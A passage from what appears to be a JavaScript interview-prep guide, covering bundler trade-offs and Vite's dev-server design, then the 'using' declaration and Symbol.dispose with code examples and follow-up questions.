RollupBest tree shaking, smallest output, scope hoistingSlower dev server, less HMR supportLibrary authoring
esbuild10-100x faster (Go-based), good tree shakingLess configurable, no full CSS supportBuild step in larger toolchains
ViteFast dev (native ESM, no bundling), uses Rollup for prodYoung plugin ecosystemModern web apps, best DX
How Vite’s dev server avoids bundling: In development, Vite serves each module as a separate ES module over native browser ESM. When you import './Button.jsx', the browser requests it, Vite transforms it (JSX -> JS) on the fly, and serves it. No bundling step. Dependencies from node_modules are pre-bundled with esbuild (once, on first run) because npm packages often use CJS and have thousands of internal modules that would cause thousands of HTTP requests.What interviewers are really testing: Can you explain what a bundler does beyond “it combines files”? Do you understand why Vite is faster in development? Can you debug a code-splitting issue or a tree-shaking failure?Red flag answer: “Vite does not use a bundler.” Vite uses esbuild for dependency pre-bundling and Rollup for production builds. It skips bundling only in development for your source code.Follow-up questions:
  • “Why does Vite pre-bundle dependencies but not your source code in dev mode?” — Your source code changes frequently (HMR needs to be fast), and each file is small. Dependencies from node_modules change rarely but can have thousands of internal modules (e.g., lodash has 600+ files). Without pre-bundling, import lodash would trigger 600 HTTP requests. esbuild pre-bundles these into a single file per dependency, cached until node_modules changes.
  • “How does code splitting interact with HTTP/2?” — HTTP/2 multiplexes requests over a single connection, reducing the cost of multiple small files. This makes finer-grained code splitting viable (more chunks, smaller each). However, each chunk still has HTTP overhead (headers, TLS round-trips) and cannot be compressed across chunks (one chunk cannot reference strings from another). The sweet spot is typically 5-15 chunks, not 200.
  • “How would you configure code splitting for a micro-frontend architecture?” — Use Module Federation (Webpack 5) or import maps. Each micro-frontend is a separately built bundle that exposes components via a remote entry. The shell app dynamically imports components from remotes. Shared dependencies (React, design system) are configured as shared modules to avoid duplication. The key challenge is version skew: what if micro-frontend A uses React 18.2 and B uses React 18.3?
Answer: The using declaration (part of the Explicit Resource Management proposal, Stage 3 / shipping in TypeScript 5.2+ and modern runtimes) is JavaScript’s answer to Python’s with statement, C#‘s using, or Go’s defer. It ensures that resources are cleaned up deterministically when a scope exits, even if an error is thrown.
// Without using: manual cleanup, easy to forget
{
    const file = await openFile('data.txt');
    try {
        const contents = await file.read();
        process(contents);
    } finally {
        await file.close(); // Must remember this
    }
}

// With using: automatic cleanup via Symbol.dispose / Symbol.asyncDispose
{
    using file = await openFile('data.txt');
    // file[Symbol.dispose]() is called automatically when scope exits
    const contents = await file.read();
    process(contents);
} // file is disposed here -- even if process() throws

// Async version
{
    await using connection = await db.connect();
    const result = await connection.query('SELECT * FROM users');
    // connection[Symbol.asyncDispose]() is awaited automatically
}
Making your own disposable resources:
class DatabaseConnection {
    #conn;
    constructor(conn) { this.#conn = conn; }

    async query(sql) { return this.#conn.execute(sql); }

    // The disposal protocol
    async [Symbol.asyncDispose]() {
        await this.#conn.end();
        console.log('Connection closed');
    }
}

// DisposableStack for managing multiple resources
{
    using stack = new DisposableStack();
    const file = stack.use(openFile('input.txt'));
    const output = stack.use(openFile('output.txt'));
    // Both files are disposed when scope exits, in reverse order (LIFO)
}
Why this matters for JavaScript engineering:
  • Eliminates the try/finally boilerplate that developers frequently forget, especially with multiple resources.
  • Works with existing patterns: Database connections, file handles, locks, timers, event listeners, and AbortControllers can all be made disposable.
  • Pairs with AbortController: using controller = new AbortController() could auto-abort on scope exit.
What interviewers are really testing: Are you aware of the latest TC39 proposals? Do you understand resource lifecycle management beyond garbage collection?Red flag answer: “JavaScript does not need resource management because it has garbage collection.” GC handles memory but not other resources: file descriptors, database connections, locks, network sockets. These need deterministic cleanup, not eventual GC.Follow-up questions:
  • “How does using interact with async/await?”using works for synchronous Symbol.dispose. For async cleanup (closing connections, flushing buffers), use await using with Symbol.asyncDispose. The await ensures the disposal completes before the scope exits.
  • “How would you retrofit an existing library (like a database client) to support Symbol.dispose?” — Add the [Symbol.asyncDispose] method that calls the existing close() or end() method. For third-party code you cannot modify, wrap it: function disposable(resource, cleanup) { resource[Symbol.dispose] = cleanup; return resource; }.
  • “What happens if the disposal itself throws an error?” — If both the main code AND the disposal throw, the errors are combined into a SuppressedError (a new error type). The main error is SuppressedError.error, the disposal error is SuppressedError.suppressed. This prevents the disposal error from masking the original error.